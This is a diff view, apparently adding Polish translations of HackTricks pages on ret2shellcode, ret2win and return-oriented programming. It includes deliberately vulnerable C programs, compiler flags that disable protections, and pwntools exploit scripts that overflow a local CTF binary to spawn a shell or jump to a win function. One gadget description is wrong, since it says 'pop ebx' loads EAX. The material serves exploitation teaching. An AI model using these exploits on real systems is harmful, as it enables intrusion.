|
||||
#include <string.h>
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
gets(buffer); // Unsafe function that does not check for buffer overflow
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Ten program jest podatny na przepełnienie bufora z powodu użycia funkcji `gets()`.
|
||||
|
||||
### Kompilacja
|
||||
|
||||
Aby skompilować ten program wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), możesz użyć poniższej komendy:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-fno-stack-protector`: Wyłącza ochronę stosu.
|
||||
* `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode przechowywanego na stosie.
|
||||
* `-no-pie`: Wyłącza wykonywalne pliki o pozycji niezależnej, ułatwiając przewidywanie adresu pamięci, w którym znajdzie się nasz shellcode.
|
||||
* `-m32`: Kompiluje program jako plik wykonywalny 32-bitowy, często używany ze względu na prostotę w tworzeniu exploitów.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
Oto jak można napisać exploit w Pythonie, korzystając z **pwntools**, aby przeprowadzić atak **ret2shellcode**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Set up the process and context
|
||||
binary_path = './vulnerable'
|
||||
p = process(binary_path)
|
||||
context.binary = binary_path
|
||||
context.arch = 'i386' # Specify the architecture
|
||||
|
||||
# Generate the shellcode
|
||||
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
|
||||
|
||||
# Find the offset to EIP
|
||||
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
|
||||
|
||||
# Prepare the payload
|
||||
# The NOP slide helps to ensure that the execution flow hits the shellcode.
|
||||
nop_slide = asm('nop') * (offset - len(shellcode))
|
||||
payload = nop_slide + shellcode
|
||||
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
|
||||
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
|
||||
# Send the payload
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Ten skrypt konstruuje ładunek składający się z **slajdu NOP**, **kodu shell**, a następnie nadpisuje **EIP** adresem wskazującym na slajd NOP, zapewniając wykonanie kodu shell.
|
||||
|
||||
**Slajd NOP** (`asm('nop')`) jest używany do zwiększenia szansy na "przesunięcie" wykonania do naszego kodu shell bez względu na dokładny adres. Dostosuj argument `p32()` do adresu początkowego bufora plus przesunięcia, aby trafić na slajd NOP.
|
||||
|
||||
## Protections
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md) **powinien być wyłączony**, aby adres był niezawodny w różnych wykonaniach, w przeciwnym razie adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.
|
||||
* [**Kanarki stosu**](../common-binary-protections/stack-canaries.md) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nie zostanie nigdy wykonany.
|
||||
* [**NX**](../common-binary-protections/no-exec-nx.md) ochrona **stosu** uniemożliwi wykonanie kodu shell wewnątrz stosu, ponieważ ta część nie będzie wykonawalna.
|
||||
|
||||
## Inne przykłady
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
|
|
@ -0,0 +1,103 @@
|
|||
# Ret2win
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Wyzwania **Ret2win** są popularną kategorią w konkursach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **eksploatacją binarną**. Celem jest wykorzystanie podatności w danym pliku binarnym do wykonania określonej, niezainicjowanej funkcji wewnątrz pliku binarnego, często nazwanej np. `win`, `ret2win`, itp. Ta funkcja, gdy jest wywoływana, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby zmienić przepływ wykonania na żądaną funkcję. Oto bardziej szczegółowe wyjaśnienie wraz z przykładami:
|
||||
|
||||
### Przykład w języku C
|
||||
|
||||
Rozważ prosty program w języku C z podatnością i funkcją `win`, którą zamierzamy wywołać:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations! You've called the win function.\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buf[64];
|
||||
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Aby skompilować ten program bez zabezpieczeń stosu i z wyłączonym **ASLR**, można użyć następującej komendy:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-m32`: Skompiluj program jako 32-bitowy binarny (to jest opcjonalne, ale częste w wyzwaniach CTF).
|
||||
* `-fno-stack-protector`: Wyłącz ochronę przed przepełnieniem stosu.
|
||||
* `-z execstack`: Pozwól na wykonanie kodu ze stosu.
|
||||
* `-no-pie`: Wyłącz wykonywalny plik o pozycji niezależnej, aby zapewnić, że adres funkcji `win` nie zmieni się.
|
||||
* `-o vulnerable`: Nazwij plik wyjściowy `vulnerable`.
|
||||
|
||||
### Wykorzystanie w Pythonie za pomocą narzędzia Pwntools
|
||||
|
||||
Do wykorzystania wykorzystamy **Pwntools**, potężne narzędzie do pisania exploitów w ramach CTF. Skrypt exploitu stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji `win`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Set up the process and context for the binary
|
||||
binary_path = './vulnerable'
|
||||
p = process(binary_path)
|
||||
context.binary = binary_path
|
||||
|
||||
# Find the address of the win function
|
||||
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
|
||||
|
||||
# Create the payload
|
||||
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
|
||||
payload = b'A' * 68 + win_addr
|
||||
|
||||
# Send the payload
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia pozwalającego na inspekcję plików binarnych. Na przykład, z `objdump` możesz użyć:
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
To polecenie pokaże ci zestawienie funkcji `win`, wraz z jej adresem początkowym. 
|
||||
|
||||
Skrypt Pythona wysyła starannie spreparowaną wiadomość, która, gdy jest przetwarzana przez `vulnerable_function`, powoduje przepełnienie bufora i nadpisanie adresu powrotu na stosie adresem `win`. Gdy `vulnerable_function` zwraca wartość, zamiast wracać do `main` lub zakończyć działanie, skacze do `win`, a wiadomość jest wyświetlana.
|
||||
|
||||
## Protections
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md) **powinno być wyłączone** dla niezawodnego adresu w kolejnych wykonaniach, w przeciwnym razie adres, pod którym funkcja będzie przechowywana, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.
|
||||
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie zostanie wykonany.
|
||||
|
||||
## Inne przykłady
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,88 @@
|
|||
# ROP - Return Oriented Programing
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
**Return-Oriented Programming (ROP)** to zaawansowana technika eksploatacji używana do obejścia zabezpieczeń takich jak **No-Execute (NX)** lub **Data Execution Prevention (DEP)**. Zamiast wstrzykiwać i wykonywać kod powłoki, atakujący wykorzystuje fragmenty kodu już obecne w binarnym pliku lub w załadowanych bibliotekach, znanych jako **"gadżety"**. Każdy gadżet zazwyczaj kończy się instrukcją `ret` i wykonuje małą operację, taką jak przenoszenie danych między rejestrami lub wykonywanie operacji arytmetycznych. Łącząc te gadżety, atakujący może skonstruować ładunek w celu wykonania dowolnych operacji, skutecznie omijając zabezpieczenia NX/DEP.
|
||||
|
||||
### Konwencje wywoływania
|
||||
|
||||
Zrozumienie **konwencji wywoływania** jest kluczowe dla skutecznego tworzenia łańcuchów ROP, zwłaszcza podczas wywoływania funkcji lub manipulowania danymi:
|
||||
|
||||
**x86 (32-bit)**
|
||||
|
||||
* **cdecl**: Wywołujący czyści stos. Argumenty funkcji są przekazywane na stosie w odwrotnej kolejności (od prawej do lewej). **Argumenty są przekazywane na stosie od prawej do lewej.**
|
||||
* **stdcall**: Podobnie jak cdecl, ale wywoływany jest odpowiedzialny za czyszczenie stosu.
|
||||
|
||||
**x64 (64-bit)**
|
||||
|
||||
* Używa konwencji wywoływania **System V AMD64 ABI** w systemach przypominających Unix, gdzie **pierwsze sześć argumentów całkowitych lub wskaźników jest przekazywane w rejestrach `RDI`, `RSI`, `RDX`, `RCX`, `R8` i `R9`**. Dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w `RAX`.
|
||||
* Konwencja wywoływania **Windows x64** używa `RCX`, `RDX`, `R8` i `R9` dla pierwszych czterech argumentów całkowitych lub wskaźników, z dodatkowymi argumentami przekazywanymi na stosie. Wartość zwracana jest umieszczana w `RAX`.
|
||||
* **Rejestry**: 64-bitowe rejestry obejmują `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` oraz `R8` do `R15`.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Z tych konwencji wywoływania można zauważyć, że w **32 bitach argumenty** funkcji są **przekazywane przez stos**, podczas gdy w **x64** są **umieszczane w określonych rejestrach**.
|
||||
{% endhint %}
|
||||
|
||||
### Jak działa ROP
|
||||
|
||||
1. **Przechwycenie przepływu sterowania**: Najpierw atakujący musi przejąć kontrolę nad przepływem programu, zazwyczaj wykorzystując przepełnienie bufora, aby nadpisać zapisany adres powrotu na stosie.
|
||||
2. **Łańcuchowanie gadżetów**: Atakujący następnie ostrożnie wybiera i łączy gadżety, aby wykonać pożądane akcje. Może to obejmować ustawienie argumentów dla wywołania funkcji, wywołanie funkcji (np. `system("/bin/sh")`) i obsługę koniecznego sprzątania lub dodatkowych operacji.
|
||||
3. **Wykonanie ładunku**: Gdy podatna funkcja zwraca, zamiast powrócić do prawidłowej lokalizacji, zaczyna wykonywać łańcuch gadżetów.
|
||||
|
||||
### Łańcuch ROP w x86
|
||||
|
||||
Rozważmy hipotetyczny scenariusz, w którym chcemy wywołać `system("/bin/sh")` przy użyciu ROP w 32-bitowym binarnym pliku:
|
||||
|
||||
1. **Znajdź Gadżety**: Załóżmy, że znaleźliśmy następujące gadżety w binarnym pliku lub załadowanych bibliotekach:
|
||||
* `pop eax; ret`: Zdejmuje wartość ze stosu do `EAX` i zwraca.
|
||||
* `pop ebx; ret`: Zdejmuje wartość ze stosu do `EAX` i zwraca.
|
||||
* `mov [ebx], eax; ret`: Przenosi wartość z `EAX` do lokalizacji wskazywanej przez `EBX`.
|
||||
* Adres `system`.
|
||||
2. **Przygotuj Łańcuch**: Musimy przygotować stos, który wygląda następująco:
|
||||
* Adres gadżetu ustawiającego `EBX`.
|
||||
* Adres gadżetu `pop eax; ret`.
|
||||
* Adres łańcucha `"/bin/sh"` w pamięci (lub gdzie planujemy go zapisać).
|
||||
* Adres gadżetu `mov [ebx], eax; ret`, aby przenieść `"/bin/sh"` do lokalizacji wskazywanej przez `EBX`.
|
||||
* Adres funkcji `system`, gdzie `EBX` wskazuje na nasz łańcuch.
|
||||
3. **Wykonanie**: Gdy podatna funkcja zwraca, zaczyna wykonywać nasz łańcuch gadżetów, w końcu wywołując `system("/bin/sh")` i otwierając powłokę.
|
||||
|
||||
### ROP w x64
|
||||
|
||||
Rozważmy hipotetyczny scenariusz, w którym chcesz wywołać `execve("/bin/sh", NULL, NULL)` na systemie x64, korzystając z konwencji wywoływania System V AMD64 ABI:
|
||||
|
||||
1. **Znajdowanie Gadżetów**: Najpierw musisz znaleźć gadżety, które umożliwią kontrolę nad rejestrami `RDI`, `RSI` i `RDX`, ponieważ będą one przechowywać argumenty dla `execve`.
|
||||
2. **Konstrukcja Łańcucha**:
|
||||
* **Ustaw `RDI`, aby wskazywał na łańcuch `"/bin/sh"`**: Zazwyczaj jest to wykonywane za pomocą gadżetu `pop RDI; ret`, a następnie adresu łańcucha (który może być umieszczony w ładunku lub znaleziony w pamięci).
|
||||
* **Wyzeruj `RSI` i `RDX`**: Ponieważ drugi i trzeci argument dla `execve` to `NULL`, potrzebujesz gadżetów do wyzerowania tych rejestrów, takich jak `xor RSI, RSI; ret` i `xor RDX, RDX; ret`.
|
||||
* **Wywołaj `execve`**: W końcu potrzebny jest gadżet, który przeskakuje do `execve` (lub pośrednio ją wywołuje).
|
||||
3. **Wykonanie Ładunku**: Po skonstruowaniu i wysłaniu tego ładunku do podatnej aplikacji, łańcuch ROP wykonuje się, uruchamiając powłokę.
|
||||
|
||||
Ponieważ x64 używa rejestrów dla kilku pierwszych argumentów, często wymaga mniej gadżetów niż x86 do prostych wywołań funkcji, ale znalezienie i łączenie odpowiednich gadżetów może być bardziej skomplikowane ze względu na zwiększoną liczbę rejestrów i większą przestrzeń adresową. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze **x64** stanowią zarówno szanse, jak i wyzwania dla rozwoju eksploatacji, zwłaszcza w kontekście Return-Oriented Programming (ROP).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
Loading…
Reference in a new issue